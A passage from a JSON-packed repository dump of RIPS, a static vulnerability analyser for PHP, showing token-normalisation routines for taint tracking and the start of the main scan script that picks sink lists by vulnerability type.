'}')\n\t\t\t\t{\n\t\t\t\t\t$f++;\n\t\t\t\t\tif(!isset($this->tokens[$i+$f]))\n\t\t\t\t\t{\n\t\t\t\t\t\taddError('Could not find closing brace of '.$this->tokens[$i-1][1].'{}.', array_slice($this->tokens, $i-1, 2), $this->tokens[$i-1][2], $this->filename);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t$this->tokens[$i+$f] = ']';\n\t\t\t}\n\t\t}\n\n\t\t// rearranged key index of tokens\n\t\t$this->tokens = array_values($this->tokens);\n\t}\n\n\t// some tokenchains need to be fixed to scan correctly later\n\tfunction fix_tokens()\n\t{\n\t\tfor($i=0; $i<($max=count($this->tokens)); $i++)\n\t\t{\n\t\t// convert `backticks` to backticks()\n\t\t\tif( $this->tokens[$i] === '`' )\n\t\t\t{\n\t\t\t\t$f=1;\n\t\t\t\twhile( $this->tokens[$i+$f] !== '`' )\n\t\t\t\t{\n\t\t\t\t\t// get line_nr of any near token\n\t\t\t\t\tif( is_array($this->tokens[$i+$f]) )\n\t\t\t\t\t\t$line_nr = $this->tokens[$i+$f][2];\n\n\t\t\t\t\t$f++;\n\t\t\t\t\tif(!isset($this->tokens[$i+$f]) || $this->tokens[$i+$f] === ';')\n\t\t\t\t\t{\n\t\t\t\t\t\taddError('Could not find closing backtick `.', array_slice($this->tokens, $i, 5), $this->tokens[$i+1][2], $this->filename);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif(!empty($line_nr))\n\t\t\t\t{\n\t\t\t\t\t$this->tokens[$i+$f] = ')';\n\t\t\t\t\t$this->tokens[$i] = array(T_STRING, 'backticks', $line_nr);\n\n\t\t\t\t\t// add element backticks() to array\n\t\t\t\t\t$this->tokens = array_merge(\n\t\t\t\t\t\tarray_slice($this->tokens, 0, $i+1), array('('),\n\t\t\t\t\t\tarray_slice($this->tokens, $i+1)\n\t\t\t\t\t);\n\t\t\t\t}\n\n\t\t\t}\n\t\t// real token\n\t\t\telse if( is_array($this->tokens[$i]) )\n\t\t\t{\n\t\t\t// rebuild if-clauses, for(), foreach(), while() without { }\n\t\t\t\tif ( ($this->tokens[$i][0] === T_IF || $this->tokens[$i][0] === T_ELSEIF || $this->tokens[$i][0] === T_FOR\n\t\t\t\t|| $this->tokens[$i][0] === T_FOREACH || $this->tokens[$i][0] === T_WHILE) && $this->tokens[$i+1] === '(' )\n\t\t\t\t{\n\t\t\t\t\t// skip condition in ( )\n\t\t\t\t\t$f=2;\n\t\t\t\t\t$braceopen = 1;\n\t\t\t\t\twhile($braceopen !== 0 )\n\t\t\t\t\t{\n\t\t\t\t\t\tif($this->tokens[$i+$f] === '(')\n\t\t\t\t\t\t\t$braceopen++;\n\t\t\t\t\t\telse if($this->tokens[$i+$f] === ')')\n\t\t\t\t\t\t\t$braceopen--;\n\t\t\t\t\t\t$f++;\n\n\t\t\t\t\t\tif(!isset($this->tokens[$i+$f]))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\taddError('Could not find closing parenthesis of '.$this->tokens[$i][1].'-statement.', array_slice($this->tokens, $i, 5), $this->tokens[$i][2], $this->filename);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t// alternate syntax while(): endwhile;\n\t\t\t\t\tif($this->tokens[$i+$f] === ':')\n\t\t\t\t\t{\n\t\t\t\t\t\tswitch($this->tokens[$i][0])\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcase T_IF:\n\t\t\t\t\t\t\tcase T_ELSEIF: $endtoken = T_ENDIF; break;\n\t\t\t\t\t\t\tcase T_FOR: $endtoken = T_ENDFOR; break;\n\t\t\t\t\t\t\tcase T_FOREACH: $endtoken = T_ENDFOREACH; break;\n\t\t\t\t\t\t\tcase T_WHILE: $endtoken = T_ENDWHILE; break;\n\t\t\t\t\t\t\tdefault: $endtoken = ';';\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t$c=1;\n\t\t\t\t\t\twhile( $this->tokens[$i+$f+$c][0] !== $endtoken)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$c++;\n\t\t\t\t\t\t\tif(!isset($this->tokens[$i+$f+$c]))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\taddError('Could not find end'.$this->tokens[$i][1].'; of alternate '.$this->tokens[$i][1].'-statement.', array_slice($this->tokens, $i, $f+1), $this->tokens[$i][2], $this->filename);\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$this->wrapbraces($i+$f+1, $c+1, $i+$f+$c+2);\n\t\t\t\t\t}\n\t\t\t\t\t// if body not in { (and not a do ... while();) wrap next instruction in braces\n\t\t\t\t\telse if($this->tokens[$i+$f] !== '{' && $this->tokens[$i+$f] !== ';')\n\t\t\t\t\t{\n\t\t\t\t\t\t$c=1;\n\t\t\t\t\t\twhile($this->tokens[$i+$f+$c] !== ';' && $c<$max)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$c++;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$this->wrapbraces($i+$f, $c+1, $i+$f+$c+1);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t// rebuild else without { }\n\t\t\t\telse if( $this->tokens[$i][0] === T_ELSE\n\t\t\t\t&& $this->tokens[$i+1][0] !== T_IF\n\t\t\t\t&& $this->tokens[$i+1] !== '{')\n\t\t\t\t{\n\t\t\t\t\t$f=2;\n\t\t\t\t\twhile( $this->tokens[$i+$f] !== ';' && $f<$max)\n\t\t\t\t\t{\n\t\t\t\t\t\t$f++;\n\t\t\t\t\t}\n\t\t\t\t\t$this->wrapbraces($i+1, $f, $i+$f+1);\n\t\t\t\t}\n\t\t\t// rebuild switch (): endswitch;\n\t\t\t\telse if( $this->tokens[$i][0] === T_SWITCH && $this->tokens[$i+1] === '(')\n\t\t\t\t{\n\t\t\t\t\t$newbraceopen = 1;\n\t\t\t\t\t$c=2;\n\t\t\t\t\twhile( $newbraceopen !== 0 )\n\t\t\t\t\t{\n\t\t\t\t\t\t// watch function calls in function call\n\t\t\t\t\t\tif( $this->tokens[$i + $c] === '(' )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$newbraceopen++;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse if( $this->tokens[$i + $c] === ')' )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$newbraceopen--;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse if(!isset($this->tokens[$i+$c]) || $this->tokens[$i + $c] === ';')\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\taddError('Could not find closing parenthesis of switch-statement.', array_slice($this->tokens, $i, 10), $this->tokens[$i][2], $this->filename);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$c++;\n\t\t\t\t\t}\n\t\t\t\t\t// switch(): ... endswitch;\n\t\t\t\t\tif($this->tokens[$i + $c] === ':')\n\t\t\t\t\t{\n\t\t\t\t\t\t$f=1;\n\t\t\t\t\t\twhile( $this->tokens[$i+$c+$f][0] !== T_ENDSWITCH)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$f++;\n\t\t\t\t\t\t\tif(!isset($this->tokens[$i+$c+$f]))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\taddError('Could not find endswitch; of alternate switch-statement.', array_slice($this->tokens, $i, $c+1), $this->tokens[$i][2], $this->filename);\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$this->wrapbraces($i+$c+1, $f+1, $i+$c+$f+2);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t// rebuild switch case: without { }\n\t\t\t\telse if( $this->tokens[$i][0] === T_CASE )\n\t\t\t\t{\n\t\t\t\t\t$e=1;\n\t\t\t\t\twhile($this->tokens[$i+$e] !== ':' && $this->tokens[$i+$e] !== ';')\n\t\t\t\t\t{\n\t\t\t\t\t\t$e++;\n\n\t\t\t\t\t\tif(!isset($this->tokens[$i+$e]))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\taddError('Could not find : or ; after '.$this->tokens[$i][1].'-statement.', array_slice($this->tokens, $i, 5), $this->tokens[$i][2], $this->filename);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t$f=$e+1;\n\t\t\t\t\tif(($this->tokens[$i+$e] === ':' || $this->tokens[$i+$e] === ';')\n\t\t\t\t\t&& $this->tokens[$i+$f] !== '{'\n\t\t\t\t\t&& $this->tokens[$i+$f][0] !== T_CASE && $this->tokens[$i+$f][0] !== T_DEFAULT)\n\t\t\t\t\t{\n\t\t\t\t\t\t$newbraceopen = 0;\n\t\t\t\t\t\twhile($newbraceopen || (isset($this->tokens[$i+$f]) && $this->tokens[$i+$f] !== '}'\n\t\t\t\t\t\t&& !(is_array($this->tokens[$i+$f])\n\t\t\t\t\t\t&& ($this->tokens[$i+$f][0] === T_BREAK || $this->tokens[$i+$f][0] === T_CASE\n\t\t\t\t\t\t|| $this->tokens[$i+$f][0] === T_DEFAULT || $this->tokens[$i+$f][0] === T_ENDSWITCH) ) ))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif($this->tokens[$i+$f] === '{')\n\t\t\t\t\t\t\t\t$newbraceopen++;\n\t\t\t\t\t\t\telse if($this->tokens[$i+$f] === '}')\n\t\t\t\t\t\t\t\t$newbraceopen--;\n\t\t\t\t\t\t\t$f++;\n\n\t\t\t\t\t\t\tif(!isset($this->tokens[$i+$f]))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\taddError('Could not find ending of '.$this->tokens[$i][1].'-statement.', array_slice($this->tokens, $i, $e+5), $this->tokens[$i][2], $this->filename);\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif($this->tokens[$i+$f][0] === T_BREAK)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif($this->tokens[$i+$f+1] === ';')\n\t\t\t\t\t\t\t\t$this->wrapbraces($i+$e+1, $f-$e+1, $i+$f+2);\n\t\t\t\t\t\t\t// break 3;\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t$this->wrapbraces($i+$e+1, $f-$e+2, $i+$f+3);\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$this->wrapbraces($i+$e+1, $f-$e-1, $i+$f);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$i++;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t// rebuild switch default: without { }\n\t\t\t\telse if( $this->tokens[$i][0] === T_DEFAULT\n\t\t\t\t&& $this->tokens[$i+2] !== '{' )\n\t\t\t\t{\n\t\t\t\t\t$f=2;\n\t\t\t\t\t$newbraceopen = 0;\n\t\t\t\t\twhile( $this->tokens[$i+$f] !== ';' && $this->tokens[$i+$f] !== '}' || $newbraceopen )\n\t\t\t\t\t{\n\t\t\t\t\t\tif($this->tokens[$i+$f] === '{')\n\t\t\t\t\t\t\t$newbraceopen++;\n\t\t\t\t\t\telse if($this->tokens[$i+$f] === '}')\n\t\t\t\t\t\t\t$newbraceopen--;\n\t\t\t\t\t\t$f++;\n\n\t\t\t\t\t\tif(!isset($this->tokens[$i+$f]))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\taddError('Could not find ending of '.$this->tokens[$i][1].'-statement.', array_slice($this->tokens, $i, 5), $this->tokens[$i][2], $this->filename);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t$this->wrapbraces($i+2, $f-1, $i+$f+1);\n\t\t\t\t}\n\t\t\t// lowercase all function names because PHP doesn't care\n\t\t\t\telse if( $this->tokens[$i][0] === T_FUNCTION )\n\t\t\t\t{\n\t\t\t\t\t$this->tokens[$i+1][1] = strtolower($this->tokens[$i+1][1]);\n\t\t\t\t}\n\t\t\t\telse if( $this->tokens[$i][0] === T_STRING && $this->tokens[$i+1] === '(')\n\t\t\t\t{\n\t\t\t\t\t$this->tokens[$i][1] = strtolower($this->tokens[$i][1]);\n\t\t\t\t}\n\t\t\t// switch a do while with a while (the difference in loop rounds doesnt matter\n\t\t\t// and we need the condition to be parsed before the loop tokens)\n\t\t\t\telse if( $this->tokens[$i][0] === T_DO)\n\t\t\t\t{\n\t\t\t\t\t// don't rewrite where do() is a class method\n\t\t\t\t\tif (($previous = $this->tokens[$i-1][0]) === T_FUNCTION \n\t\t\t\t\t|| $previous === T_PAAMAYIM_NEKUDOTAYIM\n\t\t\t\t\t|| $previous === T_OBJECT_OPERATOR)\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t$f=2;\n\t\t\t\t\t$otherDOs = 0;\n\t\t\t\t\t// f = T_WHILE token position relative to i\n\t\t\t\t\twhile( $this->tokens[$i+$f][0] !== T_WHILE || $otherDOs )\n\t\t\t\t\t{\n\t\t\t\t\t\tif($this->tokens[$i+$f][0] === T_DO)\n\t\t\t\t\t\t\t$otherDOs++;\n\t\t\t\t\t\telse if($this->tokens[$i+$f][0] === T_WHILE)\n\t\t\t\t\t\t\t$otherDOs--;\n\t\t\t\t\t\t$f++;\n\n\t\t\t\t\t\tif(!isset($this->tokens[$i+$f]))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\taddError('Could not find WHILE of DO-WHILE-statement.', array_slice($this->tokens, $i, 5), $this->tokens[$i][2], $this->filename);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t// rebuild do while without {} (should never happen but we want to be sure)\n\t\t\t\t\tif($this->tokens[$i+1] !== '{')\n\t\t\t\t\t{\n\t\t\t\t\t\t$this->wrapbraces($i+1, $f-1, $i+$f);\n\t\t\t\t\t\t// by adding braces we added two new tokens\n\t\t\t\t\t\t$f+=2;\n\t\t\t\t\t}\n\n\t\t\t\t\t$d=1;\n\t\t\t\t\t// d = END of T_WHILE condition relative to i\n\t\t\t\t\twhile( $this->tokens[$i+$f+$d] !== ';' && $d<$max )\n\t\t\t\t\t{\n\t\t\t\t\t\t$d++;\n\t\t\t\t\t}\n\n\t\t\t\t\t// reorder tokens and replace DO WHILE with WHILE\n\t\t\t\t\t$this->tokens = array_merge(\n\t\t\t\t\t\tarray_slice($this->tokens, 0, $i), // before DO\n\t\t\t\t\t\tarray_slice($this->tokens, $i+$f, $d), // WHILE condition\n\t\t\t\t\t\tarray_slice($this->tokens, $i+1, $f-1), // DO WHILE loop tokens\n\t\t\t\t\t\tarray_slice($this->tokens, $i+$f+$d+1, count($this->tokens)) // rest of tokens without while condition\n\t\t\t\t\t);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t// return tokens with rearranged key index\n\t\t$this->tokens = array_values($this->tokens);\n\t}\n\n\t// rewrite $arrays[] to\t$variables and save keys in $tokens[$i][3]\n\tfunction array_reconstruct_tokens()\n\t{\n\t\tfor($i=0,$max=count($this->tokens); $i<$max; $i++)\n\t\t{\n\t\t\t// check for arrays\n\t\t\tif( is_array($this->tokens[$i]) && $this->tokens[$i][0] === T_VARIABLE && $this->tokens[$i+1] === '[' )\n\t\t\t{\n\t\t\t\t$this->tokens[$i][3] = array();\n\t\t\t\t$has_more_keys = true;\n\t\t\t\t$index = -1;\n\t\t\t\t$c=2;\n\n\t\t\t\t// loop until no more index found: array[1][2][3]\n\t\t\t\twhile($has_more_keys && $index < MAX_ARRAY_KEYS)\n\t\t\t\t{\n\t\t\t\t\t$index++;\n\t\t\t\t\t// save constant index as constant\n\t\t\t\t\tif(($this->tokens[$i+$c][0] === T_CONSTANT_ENCAPSED_STRING || $this->tokens[$i+$c][0] === T_LNUMBER || $this->tokens[$i+$c][0] === T_NUM_STRING || $this->tokens[$i+$c][0] === T_STRING) && $this->tokens[$i+$c+1] === ']')\n\t\t\t\t\t{\n\t\t\t\t\t\tunset($this->tokens[$i+$c-1]);\n\t\t\t\t\t\t$this->tokens[$i][3][$index] = str_replace(array('\"', \"'\"), '', $this->tokens[$i+$c][1]);\n\t\t\t\t\t\tunset($this->tokens[$i+$c]);\n\t\t\t\t\t\tunset($this->tokens[$i+$c+1]);\n\t\t\t\t\t\t$c+=2;\n\t\t\t\t\t// save tokens of non-constant index as token-array for backtrace later\n\t\t\t\t\t} else\n\t\t\t\t\t{\n\t\t\t\t\t\t$this->tokens[$i][3][$index] = array();\n\t\t\t\t\t\t$newbraceopen = 1;\n\t\t\t\t\t\tunset($this->tokens[$i+$c-1]);\n\t\t\t\t\t\twhile($newbraceopen !== 0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif( $this->tokens[$i+$c] === '[' )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$newbraceopen++;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse if( $this->tokens[$i+$c] === ']' )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$newbraceopen--;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$this->tokens[$i][3][$index][] = $this->tokens[$i+$c];\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tunset($this->tokens[$i+$c]);\n\t\t\t\t\t\t\t$c++;\n\n\t\t\t\t\t\t\tif(!isset($this->tokens[$i+$c]))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\taddError('Could not find closing bracket of '.$this->tokens[$i][1].'[].', array_slice($this->tokens, $i, 5), $this->tokens[$i][2], $this->filename);\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tunset($this->tokens[$i+$c-1]);\n\t\t\t\t\t}\n\t\t\t\t\tif($this->tokens[$i+$c] !== '[')\n\t\t\t\t\t\t$has_more_keys = false;\n\t\t\t\t\t$c++;\n\t\t\t\t}\n\n\t\t\t\t$i+=$c-1;\n\t\t\t}\n\t\t}\n\n\t\t// return tokens with rearranged key index\n\t\t$this->tokens = array_values($this->tokens);\n\t}\n\n\t// handle ternary operator (remove condition, only values should be handled during trace)\n\t// problem: tainting in the condition is not actual tainting the line -> remove condition\n\tfunction fix_ternary()\n\t{\n\t\tfor($i=0,$max=count($this->tokens); $i<$max; $i++)\n\t\t{\n\t\t\tif( $this->tokens[$i] === '?' )\n\t\t\t{\n\t\t\t\tunset($this->tokens[$i]);\n\t\t\t\t// condition in brackets: fine, delete condition\n\t\t\t\tif($this->tokens[$i-1] === ')')\n\t\t\t\t{\n\t\t\t\t\tunset($this->tokens[$i-1]);\n\t\t\t\t\t// delete tokens till (\n\t\t\t\t\t$newbraceopen = 1;\n\t\t\t\t\t$f = 2;\n\t\t\t\t\twhile( $newbraceopen !== 0 && $this->tokens[$i - $f] !== ';')\n\t\t\t\t\t{\n\t\t\t\t\t\tif( $this->tokens[$i - $f] === '(' )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$newbraceopen--;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse if( $this->tokens[$i - $f] === ')' )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$newbraceopen++;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tunset($this->tokens[$i - $f]);\n\t\t\t\t\t\t$f++;\n\n\t\t\t\t\t\tif(($i-$f)<0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\taddError('Could not find opening parenthesis in ternary operator (1).', array_slice($this->tokens, $i-5, 10), $this->tokens[$i+1][2], $this->filename);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t//delete token before, if T_STRING\n\t\t\t\t\tif($this->tokens[$i-$f] === '!' || (is_array($this->tokens[$i-$f])\n\t\t\t\t\t&& ($this->tokens[$i-$f][0] === T_STRING || $this->tokens[$i-$f][0] === T_EMPTY || $this->tokens[$i-$f][0] === T_ISSET)))\n\t\t\t\t\t{\n\t\t\t\t\t\tunset($this->tokens[$i-$f]);\n\t\t\t\t\t}\n\n\t\t\t\t}\n\t\t\t\t// condition is a check or assignment\n\t\t\t\telse if(in_array($this->tokens[$i-2][0], Tokens::$T_ASSIGNMENT) || in_array($this->tokens[$i-2][0], Tokens::$T_OPERATOR) )\n\t\t\t\t{\n\t\t\t\t\t// remove both operands\n\t\t\t\t\tunset($this->tokens[$i-1]);\n\t\t\t\t\tunset($this->tokens[$i-2]);\n\t\t\t\t\t// if operand is in braces\n\t\t\t\t\tif($this->tokens[$i-3] === ')')\n\t\t\t\t\t{\n\t\t\t\t\t\t// delete tokens till (\n\t\t\t\t\t\t$newbraceopen = 1;\n\t\t\t\t\t\t$f = 4;\n\t\t\t\t\t\twhile( $newbraceopen !== 0 )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif( $this->tokens[$i - $f] === '(' )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$newbraceopen--;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse if( $this->tokens[$i - $f] === ')' )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$newbraceopen++;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tunset($this->tokens[$i - $f]);\n\t\t\t\t\t\t\t$f++;\n\n\t\t\t\t\t\t\tif(($i-$f)<0 || $this->tokens[$i - $f] === ';')\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\taddError('Could not find opening parenthesis in ternary operator (2).', array_slice($this->tokens, $i-8, 6), $this->tokens[$i+1][2], $this->filename);\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t//delete token before, if T_STRING\n\t\t\t\t\t\tif(is_array($this->tokens[$i-$f])\n\t\t\t\t\t\t&& ($this->tokens[$i-$f][0] === T_STRING || $this->tokens[$i-$f][0] === T_EMPTY || $this->tokens[$i-$f][0] === T_ISSET))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tunset($this->tokens[$i-$f]);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tunset($this->tokens[$i-3]);\n\n\t\t\t\t}\n\t\t\t\t// condition is a single variable, delete\n\t\t\t\telse if(is_array($this->tokens[$i-1]) && $this->tokens[$i-1][0] === T_VARIABLE)\n\t\t\t\t{\n\t\t\t\t\tunset($this->tokens[$i-1]);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t// return tokens with rearranged key index\n\t\t$this->tokens = array_values($this->tokens);\n\t}\n}\n"
  },
  {
    "path": "main.php",
    "content": "<?php\n/**\n\nRIPS - A static source code analyser for vulnerabilities in PHP scripts\n\tby Johannes Dahse (johannes.dahse@rub.de)\n\n\nCopyright (C) 2012 Johannes Dahse\n\nThis program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version.\n\nThis program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License along with this program; if not, see <http://www.gnu.org/licenses/>.\n\n**/\n\n\t###############################  INCLUDES  ################################\n\n\tinclude('config/general.php');\t\t\t// general settings\n\tinclude('config/sources.php');\t\t\t// tainted variables and functions\n\tinclude('config/tokens.php');\t\t\t// tokens for lexical analysis\n\tinclude('config/securing.php');\t\t\t// securing functions\n\tinclude('config/sinks.php');\t\t\t// sensitive sinks\n\tinclude('config/info.php');\t\t\t\t// interesting functions\n\n\tinclude('lib/constructer.php'); \t\t// classes\n\tinclude('lib/filer.php');\t\t\t\t// read files from dirs and subdirs\n\tinclude('lib/tokenizer.php');\t\t\t// prepare and fix token list\n\tinclude('lib/analyzer.php');\t\t\t// string analyzers\n\tinclude('lib/scanner.php');\t\t\t\t// provides class for scan\n\tinclude('lib/printer.php');\t\t\t\t// output scan result\n\tinclude('lib/searcher.php');\t\t\t// search functions\n\n\t###############################  MAIN  ####################################\n\n\t$start = microtime(TRUE);\n\n\t$output = array();\n\t$info = array();\n\t$scanned_files = array();\n\n\tif(!empty($_POST['loc']))\n\t{\n\t\t$location = realpath($_POST['loc']);\n\n\t\tif(is_dir($location))\n\t\t{\n\t\t\t$scan_subdirs = isset($_POST['subdirs']) ? $_POST['subdirs'] : false;\n\t\t\t$files = read_recursiv($location, $scan_subdirs);\n\n\t\t\tif(count($files) > WARNFILES && !isset($_POST['ignore_warning']))\n\t\t\t\tdie('warning:'.count($files));\n\t\t}\n\t\telse if(is_file($location) && in_array(substr($location, strrpos($location, '.')), $FILETYPES))\n\t\t{\n\t\t\t$files[0] = $location;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$files = array();\n\t\t}\n\n\n\t\t// SCAN\n\t\tif(empty($_POST['search']))\n\t\t{\n\t\t\t$user_functions = array();\n\t\t\t$user_functions_offset = array();\n\t\t\t$user_input = array();\n\n\t\t\t$file_sinks_count = array();\n\t\t\t$count_xss=$count_sqli=$count_fr=$count_fa=$count_fi=$count_exec=$count_code=$count_eval=$count_xpath=$count_ldap=$count_con=$count_other=$count_pop=$count_inc=$count_inc_fail=$count_header=$count_sf=$count_ri=0;\n\n\t\t\t$verbosity = isset($_POST['verbosity']) ? $_POST['verbosity'] : 1;\n\t\t\t$scan_functions = array();\n\t\t\t$info_functions = Info::$F_INTEREST;\n\n\t\t\tif($verbosity != 5)\n\t\t\t{\n\t\t\t\tswitch($_POST['vector'])\n\t\t\t\t{\n\t\t\t\t\tcase 'xss':\t\t\t$scan_functions = $F_XSS;\t\t\tbreak;\n\t\t\t\t\tcase 'httpheader':\t$scan_functions = $F_HTTP_HEADER;\tbreak;\n\t\t\t\t\tcase 'fixation':\t$scan_functions = $F_SESSION_FIXATION;\tbreak;\n\t\t\t\t\tcase 'code': \t\t$scan_functions = $F_CODE;\t\t\tbreak;\n\t\t\t\t\tcase 'ri': \t\t\t$scan_functions = $F_REFLECTION;\tbreak;\n\t\t\t\t\tcase 'file_read':\t$scan_functions = $F_FILE_READ;\t\tbreak;\n\t\t\t\t\tcase 'file_affect':\t$scan_functions = $F_FILE_AFFECT;\tbreak;\n\t\t\t\t\tcase 'file_include':$scan_functions = $F_FILE_INCLUDE;\tbreak;\n\t\t\t\t\tcase 'exec':  \t\t$scan_functions = $F_EXEC;\t\t\tbreak;\n\t\t\t\t\tcase 'database': \t$scan_functions = $F_DATABASE;\t\tbreak;\n\t\t\t\t\tcase 'xpath':\t\t$scan_functions = $F_XPATH;\t\t\tbreak;\n\t\t\t\t\tcase 'ldap':\t\t$scan_functions = $F_LDAP;\t\t\tbreak;\n\t\t\t\t\tcase 'connect': \t$scan_functions = $F_CONNECT;\t\tbreak;\n\t\t\t\t\tcase 'other':\t\t$scan_functions = $F_OTHER;\t\t\tbreak;\n\t\t\t\t\tcase 'unserialize':\t{\n\t\t\t\t\t\t\t\t\t\t$scan_functions = $F_POP;\n\t\t\t\t\t\t\t\t\t\t$info_functions = Info::$F_INTEREST_POP;\n\t\t\t\t\t\t\t\t\t\t$source_functions = array('unserialize');\n\t\t\t\t\t\t\t\t\t\t$verbosity = 2;\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'client':\n\t\t\t\t\t\t$scan_functions = array_merge(\n\t\t\t\t\t\t\t$F_XSS,\n\t\t\t\t\t\t\t$F_HTTP_HEADER,\n\t\t\t\t\t\t\t$F_SESSION_FIXATION\n\t\t\t\t\t\t);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'server':\n\t\t\t\t\t\t$scan_functions = array_merge(\n\t\t\t\t\t\t\t$F_CODE,\n\t\t\t\t\t\t\t$F_REFLECTION,\n\t\t\t\t\t\t\t$F_FILE_READ,\n\t\t\t\t\t\t\t$F_FILE_AFFECT,\n\t\t\t\t\t\t\t$F_FILE_INCLUDE,\n\t\t\t\t\t\t\t$F_EXEC,\n\t\t\t\t\t\t\t$F_DATABASE,\n\t\t\t\t\t\t\t$F_XPATH,\n\t\t\t\t\t\t\t$F_LDAP,\n\t\t\t\t\t\t\t$F_CONNECT,\n\t\t\t\t\t\t\t$F_POP,\n\t\t\t\t\t\t\t$F_OTHER\n\t\t\t\t\t\t); break;\n\t\t\t\t\tcase 'all':\n\t\t\t\t\tdefault:\n\t\t\t\t\t\t$scan_functions = array_merge(\n\t\t\t\t\t\t\t$F_XSS,\n\t\t\t\t\t\t\t$F_HTTP_HEADER,\n\t\t\t\t\t\t\t$F_SESSION_FIXATION,\n\t\t\t\t\t\t\t$F_CODE,\n\t\t\t\t\t\t\t$F_REFLECTION,\n\t\t\t\t\t\t\t$F_FILE_READ,\n\t\t\t\t\t\t\t$F_FILE_AFFECT,\n\t\t\t\t\t\t\t$F_FILE_INCLUDE,\n\t\t\t\t\t\t\t$F_EXEC,\n\t\t\t\t\t\t\t$F_DATABASE,\n\t\t\t\t\t\t\t$F_XPATH,\n\t\t\t\t\t\t\t$F_LDAP,\n\t\t\t\t\t\t\t$F_CONNECT,\n\t\t\t\t\t\t\t$F_POP,\n\t\t\t\t\t\t\t$F_OTHER\n\t\t\t\t\t\t); break;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif($_POST['vector'] !== 'unserialize')\n\t\t\t{\n\t\t\t\t$source_functions = 